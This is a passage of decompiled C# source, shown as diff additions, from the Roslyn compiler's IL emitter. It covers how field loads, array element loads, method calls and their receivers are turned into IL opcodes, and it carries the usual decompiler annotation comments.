(!sequence.Locals.IsEmpty) + { + _builder.CloseLocalScope(); + } + } + + private void EmitSideEffects(BoundSequence sequence) + { + ImmutableArray sideEffects = sequence.SideEffects; + if (!sideEffects.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator = sideEffects.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + EmitExpression(current, used: false); + } + } + } + + private void EmitArguments(ImmutableArray arguments, ImmutableArray parameters, ImmutableArray argRefKindsOpt) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < arguments.Length; i++) + { + RefKind argumentRefKind = GetArgumentRefKind(arguments, parameters, argRefKindsOpt, i); + EmitArgument(arguments[i], argumentRefKind); + } + } + + internal static RefKind GetArgumentRefKind(ImmutableArray arguments, ImmutableArray parameters, ImmutableArray argRefKindsOpt, int i) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (i < parameters.Length) + { + if (!argRefKindsOpt.IsDefault && i < argRefKindsOpt.Length) + { + return argRefKindsOpt[i]; + } + RefKind refKind = parameters[i].RefKind; + return ((int)refKind != 4) ? refKind : ((RefKind)3); + } + return (RefKind)0; + } + + private void EmitArrayElementLoad(BoundArrayAccess arrayAccess, bool used) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Expected I4, but got Unknown + //IL_01b5: Unknown result type (might be due to invalid IL or missing references) + //IL_01bc: Invalid comparison between Unknown and I4 + EmitExpression(arrayAccess.Expression, used: true); + EmitArrayIndices(arrayAccess.Indices); + if (((ArrayTypeSymbol)arrayAccess.Expression.Type).IsSZArray) + { + TypeSymbol typeSymbol = arrayAccess.Type; + if (typeSymbol.IsEnumType()) + { + typeSymbol = ((NamedTypeSymbol)typeSymbol).EnumUnderlyingType; + } + PrimitiveTypeCode primitiveTypeCode = typeSymbol.PrimitiveTypeCode; + switch ((int)primitiveTypeCode) + { + case 2: + _builder.EmitOpCode(ILOpCode.Ldelem_i1); + break; + case 0: + case 12: + _builder.EmitOpCode(ILOpCode.Ldelem_u1); + break; + case 5: + _builder.EmitOpCode(ILOpCode.Ldelem_i2); + break; + case 1: + case 13: + _builder.EmitOpCode(ILOpCode.Ldelem_u2); + break; + case 6: + _builder.EmitOpCode(ILOpCode.Ldelem_i4); + break; + case 14: + _builder.EmitOpCode(ILOpCode.Ldelem_u4); + break; + case 7: + case 15: + _builder.EmitOpCode(ILOpCode.Ldelem_i8); + break; + case 8: + case 9: + case 16: + case 19: + _builder.EmitOpCode(ILOpCode.Ldelem_i); + break; + case 3: + _builder.EmitOpCode(ILOpCode.Ldelem_r4); + break; + case 4: + _builder.EmitOpCode(ILOpCode.Ldelem_r8); + break; + default: + if (typeSymbol.IsVerifierReference()) + { + _builder.EmitOpCode(ILOpCode.Ldelem_ref); + break; + } + if (used) + { + _builder.EmitOpCode(ILOpCode.Ldelem); + } + else + { + if ((int)typeSymbol.TypeKind == 11) + { + _builder.EmitOpCode(ILOpCode.Readonly); + } + _builder.EmitOpCode(ILOpCode.Ldelema); + } + EmitSymbolToken(typeSymbol, arrayAccess.Syntax); + break; + } + } + else + { + _builder.EmitArrayElementLoad(_module.Translate((ArrayTypeSymbol)arrayAccess.Expression.Type), arrayAccess.Expression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + EmitPopIfUnused(used); + } + + private void EmitFieldLoad(BoundFieldAccess fieldAccess, bool used) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (!used) + { + if (fieldSymbol.IsCapturedFrame) + { + return; + } + if (!fieldSymbol.IsVolatile && !fieldSymbol.IsStatic && fieldAccess.ReceiverOpt.Type.IsVerifierValue() && (int)fieldSymbol.RefKind == 0) + { + EmitExpression(fieldAccess.ReceiverOpt, used: false); + return; + } + } + EmitFieldLoadNoIndirection(fieldAccess, used); + if ((int)fieldSymbol.RefKind != 0) + { + EmitLoadIndirect(fieldSymbol.Type, fieldAccess.Syntax); + } + EmitPopIfUnused(used); + } + + private void EmitFieldLoadNoIndirection(BoundFieldAccess fieldAccess, bool used) + { + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (fieldSymbol.IsStatic) + { + if (fieldSymbol.IsVolatile) + { + _builder.EmitOpCode(ILOpCode.Volatile); + } + _builder.EmitOpCode(ILOpCode.Ldsfld); + EmitSymbolToken(fieldSymbol, fieldAccess.Syntax); + return; + } + BoundExpression receiverOpt = fieldAccess.ReceiverOpt; + TypeSymbol type = fieldSymbol.Type; + if (type.IsValueType && (object)type == receiverOpt.Type) + { + EmitExpression(receiverOpt, used); + return; + } + LocalDefinition val = EmitFieldLoadReceiver(receiverOpt); + if (val != null) + { + FreeTemp(val); + } + if (fieldSymbol.IsVolatile) + { + _builder.EmitOpCode(ILOpCode.Volatile); + } + _builder.EmitOpCode(ILOpCode.Ldfld); + EmitSymbolToken(fieldSymbol, fieldAccess.Syntax); + } + + private LocalDefinition EmitFieldLoadReceiver(BoundExpression receiver) + { + if (FieldLoadMustUseRef(receiver) || FieldLoadPrefersRef(receiver)) + { + if (!EmitFieldLoadReceiverAddress(receiver)) + { + return EmitReceiverRef(receiver, Binder.AddressKind.ReadOnly); + } + return null; + } + EmitExpression(receiver, used: true); + return null; + } + + private bool EmitFieldLoadReceiverAddress(BoundExpression receiver) + { + if (receiver == null || !receiver.Type.IsValueType) + { + return false; + } + if (receiver.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)receiver; + if (boundConversion.ConversionKind == ConversionKind.Unboxing) + { + EmitExpression(boundConversion.Operand, used: true); + _builder.EmitOpCode(ILOpCode.Unbox); + EmitSymbolToken(receiver.Type, receiver.Syntax); + return true; + } + } + else if (receiver.Kind == BoundKind.FieldAccess) + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)receiver; + FieldSymbol fieldSymbol = boundFieldAccess.FieldSymbol; + if (!fieldSymbol.IsStatic && EmitFieldLoadReceiverAddress(boundFieldAccess.ReceiverOpt)) + { + _builder.EmitOpCode(ILOpCode.Ldflda); + EmitSymbolToken(fieldSymbol, boundFieldAccess.Syntax); + return true; + } + } + return false; + } + + private bool FieldLoadPrefersRef(BoundExpression receiver) + { + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Invalid comparison between Unknown and I4 + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Invalid comparison between Unknown and I4 + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + if (!receiver.Type.IsVerifierValue()) + { + return true; + } + if (receiver.Kind == BoundKind.Conversion && ((BoundConversion)receiver).ConversionKind == ConversionKind.Unboxing) + { + return true; + } + if (!HasHome(receiver, Binder.AddressKind.ReadOnly)) + { + return false; + } + switch (receiver.Kind) + { + case BoundKind.Parameter: + return (int)((BoundParameter)receiver).ParameterSymbol.RefKind > 0; + case BoundKind.Local: + return (int)((BoundLocal)receiver).LocalSymbol.RefKind > 0; + case BoundKind.Sequence: + return FieldLoadPrefersRef(((BoundSequence)receiver).Value); + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)receiver; + FieldSymbol fieldSymbol = boundFieldAccess.FieldSymbol; + if (fieldSymbol.IsStatic || (int)fieldSymbol.RefKind != 0) + { + return true; + } + if (DiagnosticsPass.IsNonAgileFieldAccess(boundFieldAccess, ((PEModuleBuilder)_module).Compilation)) + { + return false; + } + return FieldLoadPrefersRef(boundFieldAccess.ReceiverOpt); + } + default: + return true; + } + } + + internal static bool FieldLoadMustUseRef(BoundExpression expr) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Expected I4, but got Unknown + TypeSymbol type = expr.Type; + if (type.IsTypeParameter()) + { + return true; + } + SpecialType specialType = type.SpecialType; + switch (specialType - 7) + { + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 11: + case 12: + case 14: + case 15: + case 31: + case 32: + case 33: + case 34: + return true; + default: + return type.IsEnumType(); + } + } + + private static int ParameterSlot(BoundParameter parameter) + { + ParameterSymbol parameterSymbol = parameter.ParameterSymbol; + int num = parameterSymbol.Ordinal; + if (!parameterSymbol.ContainingSymbol.IsStatic) + { + num++; + } + return num; + } + + private void EmitLocalLoad(BoundLocal local, bool used) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + bool flag = (int)local.LocalSymbol.RefKind > 0; + if (IsStackLocal(local.LocalSymbol)) + { + EmitPopIfUnused(used || flag); + } + else + { + if (!(used || flag)) + { + return; + } + LocalDefinition local2 = GetLocal(local); + _builder.EmitLocalLoad(local2); + } + if (flag) + { + EmitLoadIndirect(local.LocalSymbol.Type, local.Syntax); + EmitPopIfUnused(used); + } + } + + private void EmitParameterLoad(BoundParameter parameter) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + int num = ParameterSlot(parameter); + _builder.EmitLoadArgumentOpcode(num); + if ((int)parameter.ParameterSymbol.RefKind != 0) + { + TypeSymbol type = parameter.ParameterSymbol.Type; + EmitLoadIndirect(type, parameter.Syntax); + } + } + + private void EmitLoadIndirect(TypeSymbol type, SyntaxNode syntaxNode) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected I4, but got Unknown + if (type.IsEnumType()) + { + type = ((NamedTypeSymbol)type).EnumUnderlyingType; + } + PrimitiveTypeCode primitiveTypeCode = type.PrimitiveTypeCode; + switch ((int)primitiveTypeCode) + { + case 2: + _builder.EmitOpCode(ILOpCode.Ldind_i1); + return; + case 0: + case 12: + _builder.EmitOpCode(ILOpCode.Ldind_u1); + return; + case 5: + _builder.EmitOpCode(ILOpCode.Ldind_i2); + return; + case 1: + case 13: + _builder.EmitOpCode(ILOpCode.Ldind_u2); + return; + case 6: + _builder.EmitOpCode(ILOpCode.Ldind_i4); + return; + case 14: + _builder.EmitOpCode(ILOpCode.Ldind_u4); + return; + case 7: + case 15: + _builder.EmitOpCode(ILOpCode.Ldind_i8); + return; + case 8: + case 9: + case 16: + case 19: + _builder.EmitOpCode(ILOpCode.Ldind_i); + return; + case 3: + _builder.EmitOpCode(ILOpCode.Ldind_r4); + return; + case 4: + _builder.EmitOpCode(ILOpCode.Ldind_r8); + return; + } + if (type.IsVerifierReference()) + { + _builder.EmitOpCode(ILOpCode.Ldind_ref); + return; + } + _builder.EmitOpCode(ILOpCode.Ldobj); + EmitSymbolToken(type, syntaxNode); + } + + private bool CanUseCallOnRefTypeReceiver(BoundExpression receiver) + { + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Invalid comparison between Unknown and I4 + if (receiver.Type.IsTypeParameter()) + { + return false; + } + ConstantValue constantValueOpt = receiver.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null) + { + return !constantValueOpt.IsNull; + } + switch (receiver.Kind) + { + case BoundKind.ArrayCreation: + return true; + case BoundKind.ObjectCreationExpression: + return true; + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)receiver; + switch (boundConversion.ConversionKind) + { + case ConversionKind.Boxing: + return true; + case ConversionKind.AnonymousFunction: + case ConversionKind.MethodGroup: + return true; + case ConversionKind.ImplicitReference: + case ConversionKind.ExplicitReference: + return CanUseCallOnRefTypeReceiver(boundConversion.Operand); + } + break; + } + case BoundKind.ThisReference: + return true; + case BoundKind.FieldAccess: + return ((BoundFieldAccess)receiver).FieldSymbol.IsCapturedFrame; + case BoundKind.Local: + return (int)((BoundLocal)receiver).LocalSymbol.SynthesizedKind == -5; + case BoundKind.DelegateCreationExpression: + return true; + case BoundKind.Sequence: + { + BoundExpression value = ((BoundSequence)receiver).Value; + return CanUseCallOnRefTypeReceiver(value); + } + case BoundKind.AssignmentOperator: + { + BoundExpression right = ((BoundAssignmentOperator)receiver).Right; + return CanUseCallOnRefTypeReceiver(right); + } + case BoundKind.TypeOfOperator: + return true; + case BoundKind.ConditionalReceiver: + return true; + } + return false; + } + + private bool IsThisReceiver(BoundExpression receiver) + { + switch (receiver.Kind) + { + case BoundKind.ThisReference: + return true; + case BoundKind.Sequence: + { + BoundExpression value = ((BoundSequence)receiver).Value; + return IsThisReceiver(value); + } + default: + return false; + } + } + + private void EmitCallExpression(BoundCall call, UseKind useKind) + { + if (call.Method.IsDefaultValueTypeConstructor()) + { + EmitDefaultValueTypeConstructorCallExpression(call); + } + else if (!call.Method.RequiresInstanceReceiver) + { + EmitStaticCallExpression(call, useKind); + } + else + { + EmitInstanceCallExpression(call, useKind); + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void EmitDefaultValueTypeConstructorCallExpression(BoundCall call) + { + MethodSymbol method = call.Method; + BoundExpression receiverOpt = call.ReceiverOpt; + LocalDefinition temp = EmitReceiverRef(receiverOpt, Binder.AddressKind.Writeable); + _builder.EmitOpCode(ILOpCode.Initobj); + EmitSymbolToken(method.ContainingType, call.Syntax); + FreeOptTemp(temp); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void EmitStaticCallExpression(BoundCall call, UseKind useKind) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Invalid comparison between Unknown and I4 + MethodSymbol method = call.Method; + BoundExpression receiverOpt = call.ReceiverOpt; + ImmutableArray arguments = call.Arguments; + EmitArguments(arguments, method.Parameters, call.ArgumentRefKindsOpt); + int callStackBehavior = GetCallStackBehavior(method, arguments); + if (method.IsAbstract || method.IsVirtual) + { + if (receiverOpt is BoundTypeExpression boundTypeExpression) + { + TypeSymbol type = boundTypeExpression.Type; + if ((object)type != null && (int)type.TypeKind == 11) + { + _builder.EmitOpCode(ILOpCode.Constrained); + EmitSymbolToken(receiverOpt.Type, receiverOpt.Syntax); + goto IL_0096; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/CodeGen/EmitExpression.cs", 1644); + } + goto IL_0096; + IL_0096: + _builder.EmitOpCode(ILOpCode.Call, callStackBehavior); + EmitSymbolToken(method, call.Syntax, method.IsVararg ? ((BoundArgListOperator)arguments[arguments.Length - 1]) : null); + EmitCallCleanup(call.Syntax, useKind, method); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void EmitInstanceCallExpression(BoundCall call, UseKind useKind) + { + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + CallKind callKind; + Binder.AddressKind? addressKind; + bool box; + LocalDefinition tempOpt; + if (receiverIsInstanceCall(call, out var nested)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, call); + call = nested; + while (receiverIsInstanceCall(call, out nested)) + { + ArrayBuilderExtensions.Push(instance, call); + call = nested; + } + callKind = determineEmitReceiverStrategy(call, out addressKind, out box); + emitReceiver(call, callKind, addressKind, box, out tempOpt); + while (instance.Count != 0) + { + BoundCall boundCall = ArrayBuilderExtensions.Pop(instance); + CallKind num = determineEmitReceiverStrategy(boundCall, out addressKind, out box); + TypeSymbol type = call.Type; + UseKind useKind2; + if (!addressKind.HasValue) + { + useKind2 = UseKind.UsedAsValue; + } + else if (BoxNonVerifierReferenceReceiver(type, addressKind.GetValueOrDefault())) + { + useKind2 = UseKind.UsedAsValue; + box = true; + } + else + { + _ = call.Method.RefKind; + useKind2 = ((!UseCallResultAsAddress(call, addressKind.GetValueOrDefault())) ? UseKind.UsedAsValue : UseKind.UsedAsAddress); + } + emitArgumentsAndCallEpilogue(call, callKind, useKind2); + FreeOptTemp(tempOpt); + tempOpt = null; + nested = call; + call = boundCall; + callKind = num; + if (box) + { + EmitBox(type, nested.Syntax); + } + else if (addressKind.HasValue) + { + if (useKind2 != UseKind.UsedAsAddress) + { + tempOpt = AllocateTemp(type, nested.Syntax, (LocalSlotConstraints)0); + _builder.EmitLocalStore(tempOpt); + _builder.EmitLocalAddress(tempOpt); + } + emitGenericReceiverCloneIfNecessary(call, callKind, ref tempOpt); + } + } + instance.Free(); + } + else + { + callKind = determineEmitReceiverStrategy(call, out addressKind, out box); + emitReceiver(call, callKind, addressKind, box, out tempOpt); + } + emitArgumentsAndCallEpilogue(call, callKind, useKind); + FreeOptTemp(tempOpt); + [MethodImpl(MethodImplOptions.NoInlining)] + CallKind determineEmitReceiverStrategy(BoundCall boundCall2, out Binder.AddressKind? reference2, out bool reference) + { + MethodSymbol method = boundCall2.Method; + BoundExpression receiverOpt = boundCall2.ReceiverOpt; + TypeSymbol type2 = receiverOpt.Type; + reference = false; + CallKind callKind2; + if (type2.IsVerifierReference()) + { + reference2 = null; + callKind2 = ((!receiverOpt.SuppressVirtualCalls && (method.IsMetadataVirtual() || !CanUseCallOnRefTypeReceiver(receiverOpt))) ? CallKind.CallVirt : CallKind.Call); + } + else if (type2.IsVerifierValue()) + { + NamedTypeSymbol containingType = method.ContainingType; + if (containingType.IsVerifierValue()) + { + reference2 = (IsReadOnlyCall(method, containingType) ? Binder.AddressKind.ReadOnly : Binder.AddressKind.Writeable); + callKind2 = ((!MayUseCallForStructMethod(method)) ? CallKind.ConstrainedCallVirt : CallKind.Call); + } + else if (method.IsMetadataVirtual()) + { + reference2 = Binder.AddressKind.Writeable; + callKind2 = CallKind.ConstrainedCallVirt; + } + else + { + reference2 = null; + reference = true; + callKind2 = CallKind.Call; + } + } + else + { + callKind2 = ((type2.IsReferenceType && !IsRef(receiverOpt)) ? CallKind.CallVirt : CallKind.ConstrainedCallVirt); + reference2 = ((callKind2 == CallKind.ConstrainedCallVirt) ? Binder.AddressKind.Constrained : Binder.AddressKind.Writeable); + } + return callKind2; + } + [MethodImpl(MethodImplOptions.NoInlining)] + void emitArgumentsAndCallEpilogue(BoundCall boundCall2, CallKind callKind2, UseKind useKind3) + { + MethodSymbol method = boundCall2.Method; + BoundExpression receiverOpt = boundCall2.ReceiverOpt; + MethodSymbol methodSymbol = method; + if (method.IsOverride && callKind2 != CallKind.Call) + { + methodSymbol = method.GetConstructedLeastOverriddenMethod(_method.ContainingType, requireSameReturnType: true); + } + if (callKind2 == CallKind.ConstrainedCallVirt && methodSymbol.ContainingType.IsValueType) + { + callKind2 = CallKind.Call; + } + if (callKind2 == CallKind.CallVirt) + { + if (IsThisReceiver(receiverOpt) && methodSymbol.ContainingType.IsSealed && (object)methodSymbol.ContainingModule == _method.ContainingModule) + { + callKind2 = CallKind.Call; + } + else if (methodSymbol.IsMetadataFinal && CanUseCallOnRefTypeReceiver(receiverOpt)) + { + callKind2 = CallKind.Call; + } + } + ImmutableArray arguments = boundCall2.Arguments; + EmitArguments(arguments, method.Parameters, boundCall2.ArgumentRefKindsOpt); + int callStackBehavior = GetCallStackBehavior(method, arguments); + switch (callKind2) + { + case CallKind.Call: + _builder.EmitOpCode(ILOpCode.Call, callStackBehavior); + break; + case CallKind.CallVirt: + _builder.EmitOpCode(ILOpCode.Callvirt, callStackBehavior); + break; + case CallKind.ConstrainedCallVirt: + _builder.EmitOpCode(ILOpCode.Constrained); + EmitSymbolToken(receiverOpt.Type, receiverOpt.Syntax); + _builder.EmitOpCode(ILOpCode.Callvirt, callStackBehavior); + break; + } + EmitSymbolToken(methodSymbol, boundCall2.Syntax, methodSymbol.IsVararg ? ((BoundArgListOperator)arguments[arguments.Length - 1]) : null); + EmitCallCleanup(boundCall2.Syntax, useKind3, method); + } + [MethodImpl(MethodImplOptions.NoInlining)] + void emitGenericReceiverCloneIfNecessary(BoundCall boundCall2, CallKind callKind2, ref LocalDefinition reference) + { + BoundExpression receiverOpt = boundCall2.ReceiverOpt; + TypeSymbol type2 = receiverOpt.Type; + if (callKind2 == CallKind.ConstrainedCallVirt && reference == null && !type2.IsValueType && !ReceiverIsKnownToReferToTempIfReferenceType(receiverOpt) && !IsSafeToDereferenceReceiverRefAfterEvaluatingArguments(boundCall2.Arguments)) + { + object obj = null; + if (!type2.IsReferenceType) + { + EmitDefaultValue(type2, used: true, receiverOpt.Syntax); + EmitBox(type2, receiverOpt.Syntax); + obj = new object(); + _builder.EmitBranch(ILOpCode.Brtrue, obj, ILOpCode.Nop); + } + EmitLoadIndirect(type2, receiverOpt.Syntax); + reference = AllocateTemp(type2, receiverOpt.Syntax, (LocalSlotConstraints)0); + _builder.EmitLocalStore(reference); + _builder.EmitLocalAddress(reference); + if (obj != null) + { + _builder.MarkLabel(obj); + } + } + } + [MethodImpl(MethodImplOptions.NoInlining)] + void emitReceiver(BoundCall boundCall2, CallKind callKind2, Binder.AddressKind? addressKind2, bool flag, out LocalDefinition reference) + { + BoundExpression receiverOpt = boundCall2.ReceiverOpt; + TypeSymbol type2 = receiverOpt.Type; + reference = null; + if (!addressKind2.HasValue) + { + EmitExpression(receiverOpt, used: true); + if (flag) + { + EmitBox(type2, receiverOpt.Syntax); + } + } + else + { + reference = EmitReceiverRef(receiverOpt, addressKind2.GetValueOrDefault()); + emitGenericReceiverCloneIfNecessary(boundCall2, callKind2, ref reference); + } + } + static bool receiverIsInstanceCall(BoundCall boundCall3, out BoundCall reference) + { + if (boundCall3.ReceiverOpt is BoundCall boundCall2) + { + MethodSymbol method = boundCall2.Method; + if ((object)method != null && method.RequiresInstanceReceiver && !method.IsDefaultValueTypeConstructor()) + { + reference = boundCall2; + return true; + } + } + reference = null; + return false; + } + } + + internal static bool IsPossibleReferenceTypeReceiverOfConstrainedCall(BoundExpression receiver) + { + TypeSymbol type = receiver.Type; + if (type.IsVerifierReference() || type.IsVerifierValue()) + { + return false; + } + return !type.IsValueType; + } + + internal static bool ReceiverIsKnownToReferToTempIfReferenceType(BoundExpression receiver) + { + while (receiver is BoundSequence boundSequence) + { + receiver = boundSequence.Value; + } + if (receiver is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null && localSymbol.IsKnownToReferToTempIfReferenceType) + { + goto IL_0062; + } + } + else + { + if (receiver is BoundComplexConditionalReceiver) + { + goto IL_0062; + } + if (receiver is BoundConditionalReceiver boundConditionalReceiver) + { + TypeSymbol type = boundConditionalReceiver.Type; + if ((object)type != null && !type.IsReferenceType && !type.IsValueType) + { + goto IL_0062; + } + } + } + bool flag = false; + goto IL_006a; + IL_006a: + if (flag) + { + return true; + } + return false; + IL_0062: + flag = true; + goto IL_006a; + } + + internal static bool IsSafeToDereferenceReceiverRefAfterEvaluatingArguments(ImmutableArray arguments) + { + return arguments.All(isSafeToDereferenceReceiverRefAfterEvaluatingArgument); + static bool isSafeToDereferenceReceiverRefAfterEvaluatingArgument(BoundExpression expression) + { + BoundExpression boundExpression = expression; + while (!(boundExpression.ConstantValueOpt != (ConstantValue)null)) + { + switch (boundExpression.Kind) + { + default: + return false; + case BoundKind.TypeExpression: + case BoundKind.ThisReference: + case BoundKind.Local: + case BoundKind.Parameter: + return true; + case BoundKind.FieldAccess: + boundExpression = ((BoundFieldAccess)boundExpression).ReceiverOpt; + if (boundExpression == null) + { + return true; + } + break; + case BoundKind.PassByCopy: + boundExpression = ((BoundPassByCopy)boundExpression).Expression; + break; + case BoundKind.BinaryOperator: + { + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)boundExpression; + if (boundBinaryOperator.OperatorKind.IsUserDefined() || !isSafeToDereferenceReceiverRefAfterEvaluatingArgument(boundBinaryOperator.Right)) + { + return false; + } + boundExpression = boundBinaryOperator.Left; + break; + } + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)boundExpression; + if (boundConversion.ConversionKind.IsUserDefinedConversion()) + { + return false; + } + boundExpression = boundConversion.Operand; + break; + } + } + } + return true; + } + } + + private bool IsReadOnlyCall(MethodSymbol method, NamedTypeSymbol methodContainingType) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + if (method.IsEffectivelyReadOnly && (int)method.MethodKind != 1) + { + return true; + } + if (methodContainingType.IsNullableType()) + { + MethodSymbol originalDefinition = method.OriginalDefinition; + if ((object)originalDefinition == ((PEModuleBuilder)_module).Compilation.GetSpecialTypeMember((SpecialMember)114) || (object)originalDefinition == ((PEModuleBuilder)_module).Compilation.GetSpecialTypeMember((SpecialMember)115) || (object)originalDefinition == ((PEModuleBuilder)_module).Compilation.GetSpecialTypeMember((SpecialMember)116)) + { + return true; + } + } + return false; + } + + internal static bool IsRef(BoundExpression receiver) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Invalid comparison between Unknown and I4 + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Invalid comparison between Unknown and I4 + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Invalid comparison between Unknown and I4 + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Invalid comparison between Unknown and I4 + return receiver.Kind switch + { + BoundKind.Local => (int)((BoundLocal)receiver).LocalSymbol.RefKind > 0, + BoundKind.Parameter => (int)((BoundParameter)receiver).ParameterSymbol.RefKind > 0, + BoundKind.Call => (int)((BoundCall)receiver).Method.RefKind > 0, + BoundKind.FunctionPointerInvocation => (int)((BoundFunctionPointerInvocation)receiver).FunctionPointer.Signature.RefKind > 0, + BoundKind.Dup => (int)((BoundDup)receiver).RefKind > 0, + BoundKind.Sequence => IsRef(((BoundSequence)receiver).Value), + _ => false, + }; + } + + private static int GetCallStackBehavior(MethodSymbol method, ImmutableArray arguments) + { + int num = 0; + if (!method.ReturnsVoid) + { + num++; + } + if (method.RequiresInstanceReceiver) + { + num--; + } + if (method.IsVararg) + { + int num2 = arguments.Length - 1; + int length = ((BoundArgListOperator)arguments[num2]).Arguments.Length; + num -= num2; + return num - length; + } + return num - arguments.Length; + } + + private static int GetObjCreationStackBehavior(BoundObjectCreationExpression objCreation) + { + int num = 0; + num++; + if (objCreation.Constructor.IsVararg) + { + int num2 = objCreation.Arguments.Length - 1; + int length = ((BoundArgListOperator)objCreation.Arguments[num2]).Arguments.Length; + num -= num2; + return num - length; + } + return num - objCreation.Arguments.Length; + } + + internal static bool MayUseCallForStructMethod(MethodSymbol method) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + if (!method.IsMetadataVirtual() || method.IsStatic) + { + return true; + } + MethodSymbol overriddenMethod = method.OverriddenMethod; + if ((object)overriddenMethod == null || overriddenMethod.IsAbstract) + { + return true; + } + return (int)method.ContainingType.SpecialType > 0; + } + + private void TreatLongsAsNative(PrimitiveTypeCode tc) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + if ((int)tc == 7) + { + _builder.EmitOpCode(ILOpCode.Conv_ovf_i); + } + else if ((int)tc == 15) + { + _builder.EmitOpCode(ILOpCode.Conv_ovf_i_un); + } + } + + private void EmitArrayLength(BoundArrayLength expression, bool used) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + EmitExpression(expression.Expression, used: true); + _builder.EmitOpCode(ILOpCode.Ldlen); + PrimitiveTypeCode primitiveTypeCode = expression.Type.PrimitiveTypeCode; + PrimitiveTypeCode val = (PrimitiveTypeCode)(PrimitiveTypeCodeExtensions.IsUnsigned(primitiveTypeCode) ? 16 : 8); + _builder.EmitNumericConversion(val, primitiveTypeCode, false); + EmitPopIfUnused(used); + } + + private void EmitArrayCreationExpression(BoundArrayCreation expression, bool used) + { + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)expression.Type; + EmitArrayIndices(expression.Bounds); + if (arrayTypeSymbol.IsSZArray) + { + _builder.EmitOpCode(ILOpCode.Newarr); + EmitSymbolToken(arrayTypeSymbol.ElementType, expression.Syntax); + } + else + { + _builder.EmitArrayCreation(_module.Translate(arrayTypeSymbol), expression.Syntax, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag); + } + if (expression.InitializerOpt != null) + { + EmitArrayInitializers(arrayTypeSymbol, expression.InitializerOpt); + } + EmitPopIfUnused(used); + } + + private void EmitConvertedStackAllocExpression(BoundConvertedStackAllocExpression expression, bool used) + { + 